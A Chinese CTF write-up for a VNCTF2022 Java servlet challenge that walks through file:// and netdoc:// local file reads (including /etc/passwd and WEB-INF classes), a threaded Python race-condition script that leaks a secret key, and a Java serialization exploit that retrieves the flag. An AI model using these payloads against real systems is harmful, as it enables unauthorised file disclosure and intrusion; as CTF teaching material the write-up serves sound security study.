看源码


输入 /file?url = 1报错

用伪协议可以读取到内容
/file?url=file:///etc/passwd
然后就是查看java字节码文件的目录
- file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
- 这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
- file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

以下为读文件的payload
- file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
- controller
- entity
- User.class
- servlet
- FileServlet.class
- HelloWorldServlet.class
- util
- Secr3t.class
- SerAndDe.class
- UrlUtil.class
- file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
- file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
读到的文件 可以jd-gui 反编译,也可以用网上的在线工具:JAVA反向工程网 (javare.cn)
也可以用IDeA
- HelloWorldServlet.class
-
- package servlet;
-
- import entity.User;
- import java.io.IOException;
- import java.util.Base64;
- import javax.servlet.ServletException;
- import javax.servlet.ServletOutputStream;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import util.Secr3t;
- import util.SerAndDe;
-
- @WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
- public class HelloWorldServlet extends HttpServlet {
- private volatile String age = "666";
- private volatile String height = "180";
- private volatile String name = "m4n_q1u_666";
- User user;
-
- public void init() throws ServletException {
- this.user = new User(this.name, this.age, this.height);
- }
-
- /* access modifiers changed from: protected */
- public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- String reqName = req.getParameter("name");
- if (reqName != null) {
- this.name = reqName;
- }
- if (Secr3t.check(this.name)) {
- Response(resp, "no vnctf2022!");
- } else if (Secr3t.check(this.name)) {
- Response(resp, "The Key is " + Secr3t.getKey());
- }
- }
-
- /* access modifiers changed from: protected */
- public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- String key = req.getParameter("key");
- String text = req.getParameter("base64");
- if (!Secr3t.getKey().equals(key) || text == null) {
- Response(resp, "KeyError");
- return;
- }
- if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
- Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
- }
- }
-
- private void Response(HttpServletResponse resp, String outStr) throws IOException {
- ServletOutputStream out = resp.getOutputStream();
- out.write(outStr.getBytes());
- out.flush();
- out.close();
- }
- }
主要看 hello.class 中的doPOst方法:

这里可以getFlag。但是需要满足Key相同,且另一个是反序列化一个一样的user对象
- protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- String key = req.getParameter("key");
- String text = req.getParameter("base64");
- if (Secr3t.getKey().equals(key) && text != null) {
- Decoder decoder = Base64.getDecoder();
- byte[] textByte = decoder.decode(text);
- User u = (User)SerAndDe.deserialize(textByte);
- if (this.user.equals(u)) {
- this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
- }
- } else {
- this.Response(resp, "KeyError");
- }
-
- }
先获取KEY,调用的是Secr3t类。
先来看看
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
-
- package util;
-
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import org.apache.commons.lang3.RandomStringUtils;
-
- public class Secr3t {
- private static final String Key = RandomStringUtils.randomAlphanumeric(32);
- private static StringBuffer Flag;
-
- private Secr3t() {
- }
-
- public static String getKey() {
- return Key;
- }
-
- public static StringBuffer getFlag() {
- Flag = new StringBuffer();
- InputStream in = null;
-
- try {
- in = Runtime.getRuntime().exec("/readflag").getInputStream();
- } catch (IOException var12) {
- var12.printStackTrace();
- }
-
- BufferedReader read = new BufferedReader(new InputStreamReader(in));
-
- try {
- String line = null;
-
- while((line = read.readLine()) != null) {
- Flag.append(line + "\n");
- }
- } catch (IOException var13) {
- var13.printStackTrace();
- } finally {
- try {
- in.close();
- read.close();
- } catch (IOException var11) {
- var11.printStackTrace();
- System.out.println("Secr3t : io exception!");
- }
-
- }
-
- return Flag;
- }
-
- public static boolean check(String checkStr) {
- return "vnctf2022".equals(checkStr);
- }
- }

这里 第二个 if 需要name 不等于 "vnctf2022", 而第三个if 又需要 this.name = "vnctf2022".
矛盾了
![]()
这里涉及一个知识点:Servlet的线程安全问题 | Y4tacker's Blog
总结一下
然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象
而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗。
脚本:
- import time
- import requests
- from threading import Thread
-
- url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
- payload1 = "?name=vnctf2022"
- payload2 = "?name=snowy"
- ses = requests.session()
-
-
- def get(session, payload):
- while True:
- res = session.get(url=url+payload)
- print(url+payload)
- print(res.text)
- if "key" in res.text:
- print(res.text)
- time.sleep(0.1)
-
-
- if __name__ == '__main__':
- for i in range(2):
- Thread(target=get, args=(ses, payload1,)).start()
- for j in range(2):
- Thread(target=get, args=(ses, payload2,)).start()
-

The Key is 3wL5Ajzw9ew6WU9AfhIB58GzH4coiCl5
接着就是反序列化的步骤了
继续看到 doPOst方法

看到第一个if
他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。
先进行序列化 再进行base64
- import entity.User;
- import java.util.Base64;
- import util.SerAndDe;
-
-
- public class testSerializable
- {
- public static void main(String[] args){
- User user = new User("snowy","18","180");
- Base64.Encoder encoder = Base64.getEncoder();
- byte[] textByte = SerAndDe.serialize(user);
- String text = encoder.encodeToString(textByte);
- System.out.println(text);
- }
- }
-
把结果传入url

发现打不通, 要注意的是 这里的User.java 中 height 属性是由 transient修饰的,所以再生成byte的时候需要重写下 writeObject类 否则会将自己的User对象 height为空。
private transient String height;
在User.java最后加上
- private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
- s.defaultWriteObject();
- //强制序列化name
- s.writeObject(this.height);
- }
参考文献:java-Transient关键字、Volatile关键字介绍和序列化、反序列化机制、单例类序列化_龙吟在天的博客-CSDN博客_volatile 序列化
exp:
- import entity.User;
-
- import java.io.ByteArrayOutputStream;
- import java.io.IOException;
- import java.io.ObjectOutputStream;
- import java.util.Base64;
-
- public class Exp {
- public static void main(String[] args) throws IOException {
- User user = new User("m4n_q1u_666","666","180");
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
- objectOutputStream.writeObject(user);
-
- byte[] bytes = byteArrayOutputStream.toByteArray();
- Base64.Encoder encoder = Base64.getEncoder();
- String s = encoder.encodeToString(bytes);
- System.out.println(s);
-
- }
- }
最后传入 key 和base64的结果即可
因为环境消失了 更换了key